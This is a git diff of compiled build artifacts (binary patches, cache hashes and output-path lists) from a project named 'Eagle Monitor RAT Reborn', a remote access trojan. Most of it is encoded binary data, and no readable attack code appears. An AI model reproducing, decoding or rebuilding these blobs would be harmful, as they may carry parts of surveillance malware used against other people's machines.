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 delta 480 zcmZ4JzR;bMjZuPufq~J{ZSo#w#fe&~a`rv@*B-sa!N|zS8IYKqom%3PnZ(EpRKo>FeveO_t?XoVeAF(RlJlA>GZ2jEziEf4@H#+fkQV#RT`c)bK;|B1`^lE3n*^x5shPEgSc_>2gzC(vskJD#{4N&2V>Ss zx8U?o8pu?w$*wZ}5R)hOh;nZJFO$Rs)0{5f2xGpJuYxi26zXBjck;QD6BK!2+&qOm s@zUJXqRixCy_B3BMn+%|GC*CLr;s~2RY?e@v{tDH#^hJ77RM3f04m+DK>z>% diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache index 8dca8516..79ec39db 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -2ad41048f1316970c57d1e82566fec6d60f42d3b +acfe77e6af85c938ebe2b1de2bbedae15acbb636 diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt index 0995d94f..dd571ad3 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt @@ -60,6 +60,8 @@ F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe +F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config +E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache @@ -72,5 +74,3 @@ E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe -E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config -F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache index 2509130bb7648d5e00fbfeec63f82f78d8780974..ee23c185c020ef36b88882f56aa0beccf55b17d9 100644 GIT binary patch delta 100 zcmaDVdsuEl4{KpFAM3e^6B}7)+uUV5KUthno;84hfx&$8L1u}~!Hg-qlQ%IbaHr;^ zCYKcD=Vc}rPhQ8Q!k=1_ky@0OS`we1r CmL9PH delta 59 zcmV-B0L1^p9_1a7j0K~oqWrXxk%0x_0>G)dlNSLW1x^3}05_At0~oVY0b~u66%QZ| RH}3rJwAu&(0RR910081S6&C;i diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources index 55d69e62974167ffb0425e6a7a3cf59d703d6ccc..22b6128c58ae77248df20908929a56bb6b519474 100644 GIT binary patch delta 8397 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 D$`Y7w delta 1028 zcmZWmT}TvB82$F{k27~?XI5Ix)hx$#*|w}Gd(hHEC{WYHkRY;_*fz7YM2)gEsSSi+ zQTr%g3XCFxB5aHFAv6Ua3L+$glCUCr(CVe4KZ82jLudns@9&)R-MM#qsNmB~e%BSX zf`|lgfQNla-9t~f%TmlQEnnIP(TrJ$dJs1N6E>o#gUFA3e*%$)*#MNI3ehcXs%zi&G4`Jau_#~p&hv-4C6WnL0r{FgR zei73S$Vq>6!(MN zrg)dN6-r8}r7#_#!_-8%6rx&W`zS)k>G3w6RD6yw2F($q0efbfq!s)|$>Pg0O||T;K}T6qn-MsQNNmpGr!ePphZB*i%QFrX*$ZOEra`sM1>bTk?duT3k(M zDT8KliIY<2>l&bI#AzeYo~q_5xk_X=a#XGq3wgvD5Y=V;9^rf~d$cvedy2PcL2)m}4Vo`~EUqp5lcTtt z2+nkHl>0Ql_48YepKHs_C116LXFmp31S`XIfX-=by1XSPvR$(mIC~p4b1o6Mg=jsM z&$!6__bx+}L+hvk&++Y-PM$ivRL$HQ{Tqacqb@V;z11L3{oHK!RR88h2|VOly!fIt z$lb6&JEHMNmse!DS+i R5^w?<-~#mi_%0*Y_6IxS;H3Zn diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll index 05d8008e477d91a6fdceeaaae8f1ee941825a782..5d1a9c340e8708c8ba4993acfa3361d4336e9d5b 100644 GIT binary patch literal 14336 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 